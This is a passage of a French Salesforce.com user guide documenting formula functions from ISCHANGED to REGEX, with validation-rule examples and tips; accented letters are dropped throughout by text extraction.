elle renvoie uniquement TRUE si le champ ne contient
aucune valeur et s'il n'est pas configur pour traiter les
champs vides comme des zros.

ISCHANGED
Description :

Compare la valeur d'un champ sa valeur prcdente et renvoie

TRUE (vrai) si les valeurs sont diffrentes. Si les valeurs sont
identiques, cette fonction renvoie FALSE (faux).

Utilisation :

ISCHANGED(field) et remplacez field par le nom du

champ comparer.
Exemple de rgle de validation :

La rgle de validation suivante empche les utilisateurs de

changer le nom d'une opportunit aprs sa cration :
NOT(ISCHANGED(Name)).
NOT(AND( ISCHANGED( Priority ), ISPICKVAL(
Priority , "Faible") ) ) est une rgle de validation
qui garantit que si l'utilisateur change la Priorit d'une

requte, la nouvelle priorit ne peut pas avoir la valeur Faible

.
NOT( AND( ISCHANGED( CloseDate ), OR(
MONTH(CloseDate ) <> MONTH( TODAY() ),YEAR(
CloseDate) <> YEAR(TODAY()) ),$Profile.Name
<> "Directeur commercial")) est une rgle de
validation qui empche un utilisateur de changer la date de
clture d'une opportunit avec une date situe hors du mois

et de l'anne en cours, sauf si cet utilisateur a le profil

Directeur commercial .
Remarque: Les champs de fusion $Profile ne sont
disponibles que dans les ditions Enterprise Edition,
Unlimited Edition et Developer Edition.
Conseils :

Cette fonction n'est disponible que dans les lments

suivants :

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 505

Rgles d'attribution
Rgles de validation
Mises jour de champs
Rgles de workflow si le type de dclencheur est rgl
sur chaque cration ou modification
d'un enregistrement.

Utilisez la fonction NOT pour inverser les valeurs

renvoyes TRUE (vrai) et FALSE (faux).
Cette fonction renvoie FALSE (faux) lorsqu'elle value
un champ d'un nouvel enregistrement.
Si un champ texte tait vide au pralable, cette fonction
renvoie TRUE (vrai) s'il contient une valeur.
Pour les champs numriques, de pourcentage ou de devise,
cette fonction renvoie TRUE (vrai) dans les cas suivants :
-

Le champ tait vide et contient dsormais une valeur.

Le champ tait nul et est dsormais vide.
Le champ tait nul et contient dsormais une autre
valeur.

ISNEW
Description :

Vrifie si la formule est excute pendant la cration d'un

enregistrement et renvoie TRUE (vrai) si c'est le cas. Si un
enregistrement existant est en cours de mise jour, cette
fonction renvoie FALSE (faux).

Utilisation :

ISNEW()

Exemple de rgle de validation :

Utilisez la rgle de validation suivante pour empcher les

utilisateurs de crer des opportunits avec une date de clture
passe. La formule AND (ISNEW(), CloseDate <
TODAY() ) vrifie si l'utilisateur cre une opportunit et, le
cas chant, garantit que la valeur de la date de clture
se situe le jour mme ou ultrieurement.
Utilisez cette rgle de validation pour garantir que les
utilisateurs ajoutent au moins un produit une opportunit
aprs sa cration.
NOT(OR(ISNEW(),HasOpportunityLineItem))

Dans cet exemple, la formule de la rgle de validation affiche

le message d'erreur suivant lorsqu'aucun produit n'est associ
une opportunit existante : Vous devez ajouter des produits
cette opportunit avant de l'enregistrer. L'erreur n'apparat
pas lors du premier enregistrement, car les utilisateurs ne
peuvent ajouter des produits qu'aprs avoir sauvegard

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 506

l'enregistrement. Cela les empche toutefois de renregistrer

ou de clturer une opportunit qui ne contient aucun produit.
Conseils :

Cette fonction n'est disponible que dans les rgles de

validation, les mises jour de champ et les rgles de
workflow.
Utilisez la fonction NOT pour inverser les valeurs
renvoyes TRUE (vrai) et FALSE (faux).
Cette fonction renvoie toujours FALSE (faux) lorsqu'elle
est utilise dans une rgle de workflow avec un dclencheur
temporel.
Cette fonction renvoie toujours FALSE (faux) lorsqu'elle
est utilise dans une mise jour de champ pour une action
d'approbation.

ISNULL
Description :

Dtermine si une expression est nulle (vide) et renvoie TRUE

(vrai) dans ce cas. Si l'expression contient une valeur, cette
fonction renvoie FALSE (faux).
Remarque: Utilisez ISBLANK au lieu de ISNULL
dans les nouvelles formules. La fonctionnalit de
ISBLANK est identtique celle de ISNULL, mais
elle prend galement en charge les champs de texte.
Salesforce.com continue de prendre en charge
ISNULL, il n'est pas ncessaire de modifier les
formules existantes.

Utilisation :

ISNULL(expression) et remplacez la valeur expression

par l'expression valuer.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 507

Exemple :

(IF(ISNULL(Maint_Amount__c), 0, 1) +
IF(ISNULL(Services_Amount__c ), 0,1) +
IF(ISNULL(Discount_Percent__c ), 0, 1) +
IF(ISNULL(Amount ), 0, 1) +
IF(ISNULL(Timeline__c ), 0, 1)) / 5

Cette formule prend un groupe de champs d'opportunit et

calcule le pourcentage utilis par les vendeurs. Cette formule
vrifie cinq champs pour dterminer s'ils sont vides. Si c'est
le cas, elle enregistre la valeur 0 pour le champ en question.
La valeur 1 est enregistre pour tout champ qui contient une
valeur et le total est divis par cinq (nombre de champs
valus). Cette formule exige que vous slectionniez l'option
Traiter les champs vides en tant que tels dans
le menu Gestion des champs vides lorsque le sous-onglet
Formule avance est affich.
Exemple de rgle de validation :

AND(ISPICKVAL( StageName , "Close gagne"),

ISNULL(Project_Start_Date__c ))

Cette rgle de validation rend le champ de date personnalis

de date de dbut du projet ncessaire sous condition,
ds lors que l'tape de l'opportunit est Close gagne .
Conseils :

Les champs texte ne sont jamais nuls. Par consquent,

l'utilisation de cette fonction avec un champ texte renvoie
toujours FALSE (faux). Par exemple, la valeur du champ
de formule IF(ISNULL(new__c) 1, 0) est toujours 0,
quelle que soit celle du champ Nouveau. Pour les champs
de texte, utilisez la fonction ISBLANK la place.
Les champs de liste de slection multiple ne sont jamais
nuls dans les commandes s-control, les boutons et les
modles d'e-mail. Par consquent, l'utilisation de cette
fonction avec un champ de liste de slection multiple dans
ces types de contexte renvoie toujours FALSE (faux).
Les champs de date et date/heure vides renvoient toujours
TRUE (vrai) lorsqu'ils sont rfrencs dans des fonctions
ISNULL.
Slectionnez l'option Traiter les champs vides
comme tels pour la formule lorsque vous faites rfrence
un champ nombre, pourcentage ou devise dans une
fonction ISNULL. La slection de l'option Traiter les
champs vides comme contenant des zros

attribue la valeur zro aux champs vides, de sorte qu'aucun

d'entre eux ne soit nul.
Les champs de fusion peuvent tre traits comme tant
vides, ce qui peut affecter les rsultats des composants tels
que les commandes s-control parce qu'ils peuvent faire
appel cette fonction.
Lors de l'utilisation d'une rgle de validation destine
vrifier si un champ numrique contient bien une valeur
donne, utilisez la fonction ISNULL pour inclure les
champs qui ne contiennent aucune valeur. Par exemple,

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 508

pour vrifier si un champ personnalis contient la valeur '1,'

utilisez la rgle de validation suivante pour afficher une
erreur si le champ est vide ou prsente une autre valeur :
OR(ISNULL(field__c), field__c<>1)

ISNUMBER
Description :

Dtermine si la valeur du texte est un nombre et renvoie

TRUE (vrai) si c'est le cas. Sinon, renvoie FALSE (faux).

Utilisez :

ISNUMBER(text) et remplacez la valeur text par le nom de

champ fusionn pour le champ de texte.

Exemple de rgle de validation :

OR(LEN(Bank_Account_Number__c) <> 10,

NOT(ISNUMBER(Bank_Account_Number__c)))

Cette rgle de validation assure qu'un champ de texte

personnalis appel Bank Account Number est un nombre
de 10 chiffres et qu'il n'est pas vide.
Conseils :

Cette fonction renvoie FALSE (faux) pour des valeurs

vides.
La fonction ISNUMBER ne tient pas compte de vos
paramtres rgionaux. Par exemple,
ISNUMBER("123,12") et ISNUMBER("1 000")
renvoient FALSE (faux) mme si les paramtres rgionaux
de l'utilisateur sont Franais .
Le chinois, le japonais, le coren et les caractres spciaux,
y compris le caractre espace, renvoient FALSE (faux).
La fonction ISNUMBER renvoie TRUE (vrai) pour un
formatage en notation scientifique comme 2E2 ou
123,123 .

ISPICKVAL
Description :

Dtermine si la valeur d'un champ de liste de slection est

gale un texte littral que vous spcifiez.

Utilisation :

ISPICKVAL(picklist_field, text_literal) et
remplacez picklist_field par le nom du champ de fusion
pour la liste de slection. Remplacez text_literal par la
valeur de liste de slection entre guillemets. text_literal

ne peut tre un champ de fusion ni le rsultat d'une fonction.

Exemples :

Activation d'un contrat

La formule IF(ISPICKVAL( Status , "Activ"),
NOW()-ActivatedDate, null) calcule le nombre de jours

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 509

couls depuis l'activation du contrat. Si le statut du contrat

est Activ, ce champ est vide.
Montants des commissions
IF(ISPICKVAL(StageName, "Close gagne"),
ROUND( Amount *0.02, 2) , 0)

Cet exemple calcule le montant de la commission pour toutes

les opportunits l'tape Close gagne . La valeur de ce
champ est gale au montant multipli par 0.02 pour toute
opportunit close/gagne. Pour les opportunits ouvertes ou
perdues, la valeur de la commission est zro.
Workflow dclench par le concurrent
ISPICKVAL(Stage, Close Perdue) &&
INCLUDES(Competitor__c, Acme)

Dans une rgle de workflow, cette formule configure le

dclenchement par Salesforce.com des actions de workflow
associes si le champ de slection multiple Competitor est
Acme dans une opportunit perdue.
Conseils :

Remplacez l'expression picklist_field par un champ

standard ou personnalis de type liste de slection.
L'expression text_literal doit tre de type texte et
place entre guillemets. Elle ne peut pas tre un champ de
fusion ni le rsultat d'une fonction.
Les fonctions CASE permettent de dterminer si une
valeur de liste de slection est gale une valeur donne.
Lorsque vous utilisez la fonction ISPICKVAL pour
renvoyer la valeur prcdente d'un champ de liste de
slection, insrez la fonction PRIORVALUE dans la
fonction ISPICKVAL comme dans l'exemple suivant :
ISPICKVAL(PRIORVALUE(picklist_field),text_literal)

JSENCODE
Description :

Code le texte et les valeurs de champ de fusion utiliser dans

Javascript en insrant les caractres d'chappement, comme
une barre oblique inverse (\), avant les caractres Javascript
non fiables, tels que l'apostrophe (').

Utilisation :

{!HTMLENCODE(text)} et remplacez text par le champ

de fusion ou la chane de texte qui contient les caractres

JavaScript non fiables.
Exemple :

Si le champ de fusion foo__c contient <B>Enter the

user's name<b>, {!JSENCODE(foo__c)} donne :

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 510

\u003CB\u003EEnter the user\'s

name\u003C\/b\u003E

JSINHTMLENCODE
Description :

Code le texte et les valeurs de champ de fusion utiliser avec

Javascript dans des balises HTML en insrant les caractres
d'chappement avant les caractres Javascript non fiables et
en remplaant les caractres rservs au HTML avec des
quivalents d'entit HTML.

Utilisation :

{!JSINHTMLENCODE(text)} et remplacez text par le

champ de fusion ou la chane de texte qui contient les

caractres JavaScript non fiables.
Exemple :

Si le champ de fusion foo__c contient <B>Enter the

user's name<b>, {!JSINHTMLENCODE(foo__c)} donne :
&lt;B&gt;Enter the user&#39;s name&lt;/b&gt;

LEFT
Description :

Renvoie le nombre dfini de caractres depuis le dbut de la

chane de texte.

Utilisation :

LEFT(text, num_chars) et remplacez la valeur text par

le champ ou l'expression renvoyer. Remplacez num_chars

par le nombre de caractres, partir de la gauche, renvoyer.

Exemple :

TRIM(LEFT(LastName, 5)) & "-" &

TRIM(RIGHT(SSN__c, 4))

Cette formule affiche les cinq premiers caractres du nom du

contact et les quatre derniers caractres de son numro de
scurit sociale, spars par un tiret. Cet exemple utilise un
champ texte personnalis des contacts, appel NSS.
Conseils :

Dans les formules, faites rfrence aux champs de

numrotation automatique l'aide de champs texte.
Si la valeur num_chars est infrieure zro,
Salesforce.com la remplace par zro.

LEN
Description :

Renvoie le nombre de caractres prsents dans la chane de

texte.

Utilisation :

LEN(text) et remplacez la valeur text par le champ ou

l'expression dont vous souhaitez renvoyer la longueur.

Personnaliser

Exemple :

Guide de l'utilisateur | Oprateurs et fonctions | 511

LEN(PartNumber__c)

Cette formule renvoie le nombre de caractres prsents dans

le champ Code du produit.

LINKTO
Description :

Renvoie une URL relative sous la forme d'un lien (balises

d'ancrage et href ) pour une commande custom s-control ou
une page Salesforce.com.

Utilisation :

{!LINKTO(label, target, id, [inputs], [no

override]} et remplacezlabel par le texte du lien, target
par l'URL et id par une rfrence l'enregistrement. Les

entres sont facultatives et peuvent comprendre tous les

paramtres supplmentaires ajouter au lien. L'argument no
override est facultatif. La valeur par dfaut est FALSE
(faux). Il s'applique aux cibles des pages Salesforce.com
standard telles que $Action.Account.New. Remplacez no
override par true lorsque vous souhaitez afficher une
page Salesforce.com standard mme si vous avez dj dfini
une valeur de remplacement ailleurs.
Exemple de commande S-Control :

Commande S-Control de nouveau compte

<html> <body> {!LINKTO("Crer un compte",
$Action.Account.New, $ObjectType.Account)}
</body> </html>

Cet exemple permet aux utilisateurs de cliquer sur un lien pour

crer un compte. Il est utile dans les vues de liste de comptes
ou les onglets Web dans lesquels les utilisateurs doivent
pouvoir crer un compte directement depuis la page. Utilisez
la variable globale $Action pour accder la page du nouveau
compte dans Salesforce.com.
Commande S-Control de nouvelle fentre e-mail
<html> <body> {!LINKTO("Lien e-mail",
"mailto:support@votresociete.com?
subject=Demande%20d&apos;aide")}; </body>
</html>

Cet exemple cre une fentre e-mail adresse au support

support@votresociete.com avec l'objet Demande d'aide
lorsqu'un utilisateur clique sur Lien e-mail .
Lien vers une autre commande S-Control
<html> <body> {!LINKTO("Rechercher les
doublons", $Scontrol.dedup_account,
Account.Id)} </body> </html>

Utilisez cet exemple pour gnrer une page contenant un

hyperlien Rechercher les doublons . Lorsque les utilisateurs

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 512

cliquent sur ce lien, Salesforce.com excute votre commande

custom s-control. Cet exemple suppose que vous avez dj
cr une commande custom s-control pour rechercher les
comptes en double et fusionner les informations qu'ils
contiennent.
Conseils :

vitez d'utiliser cette fonction dans une commande

s-control intgre si vous souhaitez qu'elle s'ouvre dans
une nouvelle fentre.
Placez plusieurs entres entre crochets pour les
regrouper :
{!LINKTO("Afficher une requte",
$Action.Case.View , Case.Id , [parm1="A",
parm2="B"])}

Saisissez la valeur null pour les entres si aucune ne doit

tre transfre, mais que vous souhaitez dfinir l'argument
no override :
{!LINKTO("Afficher une requte",
$Action.Case.View , Case.Id , null,
true)}

Lorsque vous crasez la page d'accueil d'un onglet standard

ou personnalis, dfinissez target sur la variable globale
$Action correspondante et id, sur le type d'objet. Par
exemple, LINKTO("Onglet Comptes",
$Action.Account.Tab, $ObjectType.Account)

Cette fonction n'est disponible que pour les boutons

personnaliss, les liens et les commandes s-control.

LN
Description :

Renvoie le logarithme nprien d'un nombre dfini. Les

logarithmes npriens sont bass sur la valeur constante e gale
2,71828182845904.

Utilisation :

LN(number) et remplacez la valeur number par le champ ou

l'expression dont vous voulez connatre le logarithme nprien.

Remarque : la fonction LN est l'inverse de la fonction EXP.
Exemple :

La formule LN(10) renvoie le logarithme nprien de 10,

savoir 2,30.
LN(Value__c) renvoie le logarithme nprien d'un champ
numrique personnalis appel Valeur.

LOG
Description :

Renvoie le logarithme de base 10 d'un nombre.

Personnaliser

Utilisation :

Guide de l'utilisateur | Oprateurs et fonctions | 513

LOG(number) et remplacez la valeur number par l'expression

ou le champ pour lequel vous voulez calculer le logarithme de

base 10.
Exemple :

Salaire
La formule LOG(Salary__c) calcule le logarithme du salaire
d'une personne. Dans cet exemple, le champ Salaire est un
champ devise personnalis.
Hydrogne
La formule -LOG(Hydrogen__c ) calcule le pH et l'acidit
en utilisant la fonction LOG et un champ numrique
personnalis appel Hydrogne, qui reprsente la
concentration en ions d'hydrogne dans le liquide, mesure
en moles par litre.

LOWER
Description :

Convertit toutes les lettres de la chane de texte en minuscules.

Tous les caractres qui ne sont pas des lettres ne sont pas
affects par cette fonction. Si les paramtres rgionaux sont
fournis, leurs rgles s'appliquent.

Utilisation :

LOWER(text, locale) et remplacez text par le champ ou

le texte que vous souhaitez convertir en minuscules, et locale

par le code facultatif de langue ISO deux caractres ou des

paramtres rgionaux cinq caractres, selon la disponibilit.
Pour plus d'informations sur les langues prises en charge,
reportez-vous Quelles sont les langues prises en charge par
Salesforce.com ?
Exemple :

SALESFORCE.COM
LOWER("SALESFORCE.COM") renvoie salesforce.com .

Symbole
LOWER(TickerSymbol) renvoie le texte dans Ticker
Symbol en minuscules.

Application des rgles des paramtres rgionaux de la langue

Turc
La langue Turc comprend deux version de la lettre i : une avec
un point et une autre sans point. Les rgles des paramtres
rgionaux du Turc ncessitent la possibilit de capitaliser le i
avec un point et autorisent le I sans point en minuscules. Pour
utiliser correctement la fonction LOWER() avec les paramtres
rgionaux de la langue Turc, utilisez le code des paramtres
rgionaux Turc tr dans la fonction LOWER(), comme suit :
LOWER(text, "tr")

Ce code garantit que Salesforce.com ne transforme aucun i

point dans text en I sans point.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 514

LPAD
Description :

Insert des espaces ou des caractres que vous avez spcifis

gauche dune chane de texte.

Utilisation :

LPAD(text, padded_length[, pad_string]) et

remplacez les variables :

text est l'expression ou le champ gauche duquel vous
souhaitez insrer des espaces ou caractres.
padded_length est le nombre total de caractres du texte
qui sera renvoy.
pad_string reprsente le ou les caractres insrer.
pad_string est facultatif. L'espace vide constitue la valeur
par dfaut.
Si la valeur dans text est plus longue que pad_string, text
est tronqu hauteur de padded_length.
Exemple :

Nom du compte : Remplissage

LPAD( Name , 20) permet de tronquer le champ Nom

aprs 20 caractres ou d'insrer des espaces gauche du nom

jusqu' ce que la longueur de la valeur entire soit de 20
caractres. Par exemple, si le nom est salesforce.com, la
valeur renvoye est ......salesforce.com .
Ma_Socit : Aucun changement
LPAD( 'my_company.com' , 14, 'z') renvoie

ma_socit.com sans modification car il comporte

14 caractres.
Nom de compte comprenant un z
LPAD( Name , 15, 'z') renvoie le nom

zsalesforce.com .
Nom du compte : Troncature
LPAD(Name , 2) tronque le nom aprs le deuxime
caractre. Par exemple, si le nom est salesforce.com, la

valeur renvoye est sa .

MAX
Description :

Renvoie le nombre le plus lev d'une liste de nombres.

Utilisation :

MAX(number, number,...) et remplacez number par les

expressions ou les champs desquels rcuprer le chiffre le plus

lev.
Exemple :

Prix de service
MAX(0,06 * Total_Cost__c ,
Min_Service_Charge__c)

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 515

Dans cet exemple, le champ de formule calcule la valeur la

plus leve entre un prix de service de 6 % du cot total et un
prix de service minimum. Le champ devise personnalis Min
Service Charge a une valeur par dfaut de 15 .
Cependant, vous pouvez le transformer en champ de formule
si votre prix de service minimum est toujours du mme
montant.
Montant des royalties pour un ouvrage
MAX(0.10 * Pages__c , (Retail_Price__c *
0.07) * Total_Sold__c )

Cette formule dtermine le montant des royalties verser pour

un livre. Elle affiche le montant le plus important : 0,07 pour
chaque livre vendu ou 0,10 par page. Elle considre que vous
disposez d'un champ numrique personnalis pour les valeurs
Pages et Total Sold, et d'un champ devise personnalis
pour la valeur Retail Price.
Commissions
MAX( $User.Commission_Percent__c * Price,
Price * Account_Discount__c , 100)

Cette formule dtermine la commission consigner pour un

actif et choisit le montant le plus important : le pourcentage
du prix comme commission pour l'utilisateur, le prix multipli
par le pourcentage de remise du compte ou 100 . Cet exemple
considre que vous disposez de deux champs de pourcentage
personnaliss sur les utilisateurs et les actifs.

MID
Description :

Renvoie le nombre dfini de caractres depuis le milieu de la

chane de texte, nombre qui sera utilis ensuite comme point
de dpart.

Utilisation :

MID(text, start_num, num_chars) et remplacez la

valeur text par le champ ou l'expression utiliser lors du
renvoi de caractres. Remplacez start_num par le nombre

de caractres depuis la gauche pour utiliser ce nombre comme

point de dpart et num_chars par le nombre total de caractres
renvoyer.
Exemple :

La formule MID( Division , 3, 4) renvoie quatre

caractres du nom du service en commenant par le
troisime caractre en partant de la gauche. Sur un
enregistrement d'utilisateur, cela reprsente le code du service.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 516

MIN
Description :

Renvoie le nombre le plus faible d'une liste de nombres.

Utilisation :

MIN(number, number,...) et remplacez number par les

expressions ou les champs desquels rcuprer le chiffre le plus

faible.
Exemple :

Abondement au plan d'pargne 401K

MIN(250, Contribution__c /2)

Cet exemple de formule dtermine le montant de la

participation de l'entreprise au plan d'pargne des employs,
en choisissant la plus faible de deux valeurs, savoir la moiti
de la participation de l'employ ou 250 . Il considre que vous
disposez d'un champ devise personnalis de contribution.
Bonus
MIN(Gross__c * Bonus_Percent__c ,
Performance__c / Number_of_Employees__c )

Cet exemple dtermine le bonus d'un employ et choisit le

plus petit des deux montants suivants : le salaire brut de
l'employ multipli par le pourcentage de bonus, ou une part
gale du montant des rsultats de l'entreprise pour tous les
employs. Il considre que vous disposez d'un champ
numrique personnalis pour le paramtre Number of
Employees, d'un champ pourcentage personnalis pour le
paramtre Bonus Percent et de champs devise personnaliss
pour le paramtre Gross de l'employ et le paramtre
Performance de l'entreprise.

MOD
Description :

Renvoie le reste de la division d'un nombre par un diviseur dfini.

Utilisation :

MOD(number, divisor) et remplacez la valeur number par le champ ou l'expression

diviser ; remplacez la valeur divisor par le nombre utiliser comme diviseur.

Exemple :

La formule MOD(3, 3) renvoie 0

La formule MOD(4, 3) renvoie 1
La formule MOD(123, 100) renvoie 23
Vous souhaitez peut-tre empcher les utilisateurs de programmer des runions le samedi
et le dimanche. Utilisez l'exemple suivant pour appliquer une rgle de validation au
champ de date personnalis My Date.
CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7), 0, 0, 6, 0, 1 )
= 0

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 517

Cet exemple affiche le message d'erreur suivant lorsque la valeur My Date n'est pas
comprise entre le lundi et le vendredi : La valeur My date n'est pas un jour de la
semaine.

MONTH
Description :

Renvoie le nombre, compris entre 1 (janvier) et 12 (dcembre), correspondant au mois

d'une date donne.

Utilisation :

MONTH(date) et remplacez la valeur date par le champ ou l'expression de la date

contenant le mois renvoyer.

Exemple :

Expiration du SLA
La formule MONTH(SLAExpirationDate__c) renvoie le mois au cours duquel votre
accord de niveau de service arrive chance. Cet exemple utilise un champ de date
personnalis, appel Date d'expiration ENS.
Mois en cours
La valeur MONTH(TODAY()) renvoie le nombre correspondant au mois en cours. Par
exemple, la valeur 2 correspond au mois de fvrier.

NOT
Description :

Renvoie FALSE (faux) pour TRUE (vrai) et TRUE (vrai) pour FALSE (faux).

Utilisation :

NOT(logical) et remplacez la valeur logical par l'expression calculer.

Exemple :

La formule IF(NOT(ISPICKVAL(Status , "Close")),

ROUND(NOW()-CreatedDate, 0), null vrifie si une requte est ouverte et, si
c'est le cas, renvoie le nombre de jours pendant lequel cette requte est reste ouverte,
en soustrayant les date et heure des date et heure actuelles. Le rsultat est un nombre
de jours d'ouverture, arrondi zro dcimale. Si la requte n'est pas ouverte, ce champ
est vide.

NOW
Description :

Renvoie les date et heure reprsentant le moment prsent.

Utilisation :

NOW()

Exemple :

IF(ISPICKVAL(Status , "En cours"), ROUND(NOW()-CreatedDate, 0),

null)

Cette formule vrifie si une piste est ouverte et, si c'est le cas, renvoie le nombre de jours
pendant lequel cette piste est reste ouverte, en soustrayant ses date et heure de cration
des date et heure actuelles. Le rsultat est un nombre de jours d'ouverture, arrondi
zro dcimale. Si la piste n'est pas ouverte, ce champ est vide.
Conseils :

Ne supprimez pas les parenthses.

Gardez les parenthses vides. Elles ne contiennent pas ncessairement de valeur.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 518

Dans une fonction NOW, utilisez un champ date/heure plutt qu'un champ de date.
Les champs Date de cration et Date de la dernire modification
sont des champs date/heure, tandis que le champ Date de la dernire
activit est un champ de date.
Si vous prfrez utiliser un champ de date, utilisez TODAY.
Le calcul des dates et heures requiert toujours le fuseau horaire de l'utilisateur.
Utilisez les oprateurs d'addition et de soustraction combins avec la fonction NOW,
et d'autres champs date/heure pour renvoyer un nombre qui reprsente le nombre
de jours. Par exemple, la formule NOW() - CreatedDate calcule le nombre de
jours couls depuis la date de cration d'un enregistrement. Dans cet exemple, le
type de donnes du champ de formule est un nombre.
Utilisez les oprateurs d'addition et de soustraction combins avec la fonction NOW,
et des nombres pour renvoyer les date et heure. Par exemple, la formule NOW() +5
calcule les date et heure correspondant cinq jours par rapport maintenant. Dans
cet exemple, le type de donnes du champ de formule est une date et une heure.

NULLVALUE
Description :

Dtermine si une expression est nulle (vide) et renvoie une expression de substitution
si c'est le cas. Si l'expression n'est pas vide, cette fonction renvoie la valeur de l'expression.
Remarque: Utilisez BLANKVALUE au lieu de NULLVALUE dans les
nouvelles formules. La fonctionnalit de BLANKVALUE est identtique celle
de NULLVALUE, mais elle prend galement en charge les champs de texte.
Salesforce.com continue de prendre en charge NULLVALUE, il n'est pas
ncessaire de modifier les formules existantes.

Utilisation :

NULLVALUE(expression, substitute_expression), et remplacez la valeur

expression par l'expression valuer et substitute_expression par la valeur

substituer toutes les valeurs vides.

Exemple :

(NULLVALUE(Payment_Due_Date__c , StartDate +5)

Cette formule renvoie la date cinq jours aprs la date de dbut du contrat chaque fois
que le champ de la date de rglement est vide. Le champ de date personnalis
Date de rglement s'applique aux contrats.
Conseils :

vitez d'utiliser cette fonction avec des champs texte car ils ne sont jamais nuls,
mme vides. Utilisez la place la fonction BLANKVALUE pour dterminer si un
champ de texte est vide.
Slectionnez l'option Traiter les champs vides en tant que tels pour
la formule lorsque vous faites rfrence un champ nombre, pourcentage ou devise
dans une fonction NULLVALUE. La slection de l'option Traiter les champs
vides comme contenant des zros attribue la valeur zro aux champs vides,
de sorte qu'aucun d'entre eux ne soit nul.
Utilisez le mme type de donnes pour les valeurs expression et
substitute_expression.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 519

OU
Description :

Dtermine si les expressions sont vraies ou fausses. Renvoie TRUE (vrai) si l'une des
expressions est vraie. Renvoie FALSE (faux) si toutes les expressions sont fausses. Utiliser
cette fonction comme alternative l'oprateur || (OR).

Utilisation :

OR(logical1, logical2...) et remplacez tout nombre de rfrences logiques par

les expressions valuer.

Exemple de champ de formule :

IF(OR(ISPICKVAL(Priority , "leve"), ISPICKVAL(Status ,

"Nouveau")), ROUND(NOW()-CreatedDate, 0), null)

Cette formule renvoie le nombre de jours pendant lequel la requte est reste ouverte,
si le statut a la valeur Nouveau ou si la priorit est leve. Si vous ouvrez la requte
le jour mme, ce champ affiche un zro.
Exemple de rgle de validation :

OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

La formule de cette rgle de validation affiche le message d'erreur suivant lorsque le

champ personnalis Discount Rate n'est pas compris entre 0 et 40 % : Le taux de
remise ne peut pas dpasser 40 %.

PARENTGROUPVAL
Description :

Fonction rcapitulative qui renvoie la valeur du champ

rcapitulatif slectionn depuis le niveau de regroupement
parent que vous spcifiez. Les niveaux de regroupement parent
se situent au-dessus du niveau auquel vous choisissez d'afficher
la formule. Pour les rapports matriciels, choisissez les niveaux
de regroupement de lignes et de colonnes.
Cette fonction peut tre utilise uniquement lors de la cration
de formules rcapitulatives personnalises pour des
rcapitulatifs.

Utilisation :

PARENTGROUPVAL(summary_field, grouping_level)
et remplacez summary_field et grouping_level par les

expressions que vous souhaitez valuer.

Exemple :

TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM,
GRAND_SUMMARY)

Cette formule rcapitulative personnalise calcule la taille d'un

produit compare d'autres produits pour un rapport sur des
opportunits et leurs produits, regroups par nom de produit.

PREVGROUPVAL
Description :

Fonction rcapitulative qui renvoie la valeur du champ

rcapitulatif slectionn depuis la ligne rcapitulative
prcdente au niveau de regroupement que vous spcifiez.
Pour les rapports matriciels, le summary_field que vous
choisissez contrle si une ligne ou une colonne prcdente est

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 520

renvoye. L'incrment dtermine le nombre d'tapes

prcdentes au champ rcapitulatif actuel renvoyer.
L'incrment par dfaut est 1. L'incrment maximal est 12.
Cette fonction peut tre utilise uniquement lors de la cration
de formules rcapitulatives personnalises pour des
rcapitulatifs.
Utilisation :

PREVGROUPVAL(summary_field, grouping_level
[, increment]) et remplacez summary_field,
grouping_level et increment par les expressions que

vous souhaitez valuer.

Exemple :

AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM,
CLOSE_DATE)

Cette formule rcapitulative personnalise calcule la

modification (positive ou ngative) pour un mois donn
compare aux mois prcdents du rapport. Dans cet exemple,
le rapport est une matrice d'opportunits regroupes par date
de clture (dans les colonnes) et tape (dans les lignes)
d'opportunit.

PRIORVALUE
Description :

Renvoie la valeur prcdente d'un champ.

Utilisation :

PRIORVALUE(field)

Exemple de rgle de validation :

La rgle de validation suivante empche les utilisateurs de changer le chiffre d'affaires

prvu d'une opportunit aprs sa clture : AND(PRIORVALUE( Amount ) > Amount
, IsClosed ) .

Conseils :

Cette fonction n'est disponible que dans les lments suivants :

-

Rgles d'attribution
Rgles de validation
Mises jour de champs
Rgles de workflow si le type de dclencheur est rgl sur chaque cration
ou modification d'un enregistrement.

Cette fonction ne renvoie pas de valeur par dfaut.

Lorsque les utilisateurs crent un enregistrement, cette fonction renvoie la valeur du
champ rfrenc au lieu de la valeur null. Par exemple, si vous crez un compte
Acme , la formule PRIORVALUE(Account.Name) renvoie Acme.
Lorsque vous utilisez la fonction ISPICKVAL pour renvoyer la valeur prcdente
d'un champ de liste de slection, insrez la fonction PRIORVALUE dans la fonction
ISPICKVAL comme dans l'exemple suivant :
ISPICKVAL(PRIORVALUE(picklist_field),text_literal)

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 521

Pour vrifier si la valeur prcdente d'un champ de liste de slection multiple inclut
une valeur spcifique, utilisez la fonction PRIORVALUE dans la fonction
INCLUDES. Par exemple :
INCLUDES( PRIORVALUE(multiselect_picklist_field),text_literal
)

REGEX
Description :

Compare un champ de texte une expression rgulire et renvoie TRUE (vrai) s'il y a
une correspondance. Sinon, renvoie FALSE (faux). Une expression rgulire est une
chane utilise pour dcrire un format de chane en fonction de certaines rgles de syntaxe.

Utilisez :

REGEX(text, regex_text) et remplacez text par le champ de texte, et regex_text

par l'expression rgulire que vous souhaitez rechercher.

Exemple de rgle de validation :

Ce exemple permet de s'assurer qu'un champ personnalis appel SSN correspond une
expression rgulire reprsentant un numro de scurit social valide de la forme
999-99-9999.

NOT( OR( LEN (SSN__c) = 0, REGEX( SSN__c ,

